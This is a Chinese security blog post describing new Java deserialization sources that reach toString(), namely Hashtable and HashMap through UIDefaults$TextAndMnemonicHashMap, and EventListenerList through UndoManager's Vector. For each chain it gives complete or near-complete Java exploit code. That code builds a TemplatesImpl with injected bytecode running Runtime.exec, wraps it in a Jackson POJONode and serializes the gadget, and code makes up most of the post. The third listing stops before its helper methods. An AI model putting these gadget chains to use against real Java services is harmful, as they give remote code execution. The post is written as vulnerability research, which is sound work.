新Source触发ToString

4 分钟

前言

在上班闲的时候无意中看到的Unam4师傅的文章,Unam4师傅找到了触发toString方法的不同入口,而toString方法也是挺多反序列化Gadgets需要用到的点,比如jackson原生反序列化Vaadin反序列化链等,为此学习了一下。

HashTable

UIDefaults的子类TextAndMnemonicHashMap类中,存在get方法能够接收一个key参数,当在HashMap中通过get方法取这个key最终结果为空时,就会触发key.toString()从而触发toString()方法。

image-20240614144313577

AbstractMap#equals方法中,在遍历键值对的时候,当键值对遍历时,其中的value为空,就会触发m.get()方法。

image-20240614145302998

反序列化最终的起点都得引向readObject方法中,因此最终需要找readObject能够触发equals方法,比如说常见的hashTable#readObject。在HashTable#readObject中,最终会调用reconstitutionPut方法,在这个方法中,能够通过e.key.equals触发equals方法。

image-20240614150419800

这里需要阐述一下为什么javax.swing.UIDefaults$TextAndMnemonicHashMap"的键能够触发AbstractMapequals方法,因为TextAndMnemonicHashMap继承于HashMapHashMap继承于AbstractMap并且HashMap没有实现equals方法,最终就是找到AbstractMap中的方法。

Gadgets如下:

HashTable#readObject()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()

jackson原生反序列化为例,payload如下:

package com.example.demo.demos.web;

import com.fasterxml.jackson.databind.node.POJONode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.IOException;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import java.io.*;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonserialize {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"222");
        map2.put(pojoNode,"111");
        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);
        Hashtable hashtable=new Hashtable();
        hashtable.put(map1,1);
        hashtable.put(map2,1);
        map1.put(pojoNode, null);
        map2.put(pojoNode, null);
        byte[] result=serialize(hashtable);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();
    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }

    public static byte[] serialize(Object object) throws  IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
    template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
}

在写这段代码的时候,遇到了loadFactor找不到或者没有定义loadFactor的问题,于是就去找了找这个参数的实际作用到底是什么,实际作用如下:

  • loadFactor(负载因子)定义了 HashMap 在自动扩容之前可以达到的填充度。它是一个介于 0 和 1 之间的浮点数,表示当 HashMap 中的元素个数(容量)达到初始容量(桶数量)乘以 loadFactor 时,HashMap 将进行扩容。
  • 那么为什么没有loadFactor参数就不能进行反序列化呢?
  • 原因是因为当反序列化要恢复序列化的内容的时候,需要loadFactor才能够知晓扩容的情况,准确恢复反序列化之前的状态。

HashMap

同样HashMap#readObject触发putVal也可以触发equals方法,这与HashMap触发HotSwappableTargetSource是基本上一致的。

image-20240614161618771

Gadgets如下:

HashMap#readObject()->HashMap#putVal()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()

payload如下:

package com.example.demo.demos.web;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonHashMap {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        POJONode pojoNode = new POJONode(templatesImpl);

        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"111");
        map2.put(pojoNode,"222");

        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);

        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);

        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");
        setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
        setHashMapValueToNull(map2, pojoNode);

        byte[] result=serialize(hashMap);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();

    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);

        for (Object node : table) {
            if (node == null) continue;

            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);

            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

EventListenerList

1、这条链子十分玄妙,使用类拼接字符串触发toString方法来完成链子的衔接,有点类似于PHP魔术方法的感觉,在EventListenerList#readObject方法中,会通过add方法添加类到listenerList中。

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        listenerList = NULL_ARRAY;
        s.defaultReadObject();
        Object listenerTypeOrNull;

        while (null != (listenerTypeOrNull = s.readObject())) {
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            EventListener l = (EventListener)s.readObject();
            String name = (String) listenerTypeOrNull;
            ReflectUtil.checkPackageAccess(name);
            add((Class<EventListener>)Class.forName(name, true, cl), l);
        }
    }

2、当l不属于t的实例或者子类,就会触发非法的异常,并将l与字符串拼接,这里会触发l类的toString方法,这里从writeObject中可以看出,只需要控制listenerList的值,就可以控制l,但是这里的l需要继承了Serializable

    public synchronized <T extends EventListener> void add(Class<T> t, T l) {
        if (l==null) {
            return;
        }
        if (!t.isInstance(l)) {
            throw new IllegalArgumentException("Listener " + l +
                                         " is not of type " + t);
        }
        if (listenerList == NULL_ARRAY) {
            listenerList = new Object[] { t, l };
        } else {
            int i = listenerList.length;
            Object[] tmp = new Object[i+2];
            System.arraycopy(listenerList, 0, tmp, 0, i);
            tmp[i] = t;
            tmp[i+1] = l;
            listenerList = tmp;
        }
    }

3、在CompoundEdit#toString方法中,editsVector类,当触发这个方法的toString,会触发Venctor类的toString方法,Vector触发父类AbstractCollectiontoString,在AbstractCollection#toString,会通过StringBuilder构建字符串对象。

    public String toString()
    {
        return super.toString()
            + " inProgress: " + inProgress
            + " edits: " + edits;
    }
//父类
    public String toString() {
        Iterator<E> it = iterator();
        if (! it.hasNext())
            return "[]";

        StringBuilder sb = new StringBuilder();
        sb.append('[');
        for (;;) {
            E e = it.next();
            sb.append(e == this ? "(this Collection)" : e);
            if (! it.hasNext())
                return sb.append(']').toString();
            sb.append(',').append(' ');
        }
    }

4、当通过append操作对象的时候,会触发append方法,这里的append方法会触发ValueOf,至此完成整个方法对象的调用。

    public StringBuilder append(Object obj) {
        return append(String.valueOf(obj));
    }
        public static String valueOf(Object obj) {
        return (obj == null) ? "null" : obj.toString();
    }

示例payload:

import com.fasterxml.jackson.databind.node.POJONode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.IOException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Vector;

public class jacksonserialize {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        byte[] result=serialize(eventListenerList);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

参考文章:jdk新入口挖掘

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:安全安全
文章标题:新Source触发ToString
文章链接:https://www.aiwin.net.cn/index.php/archives/4420/
最后编辑:2025 年 5 月 6 日 21:01 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 6 =
快来做第一个评论的人吧~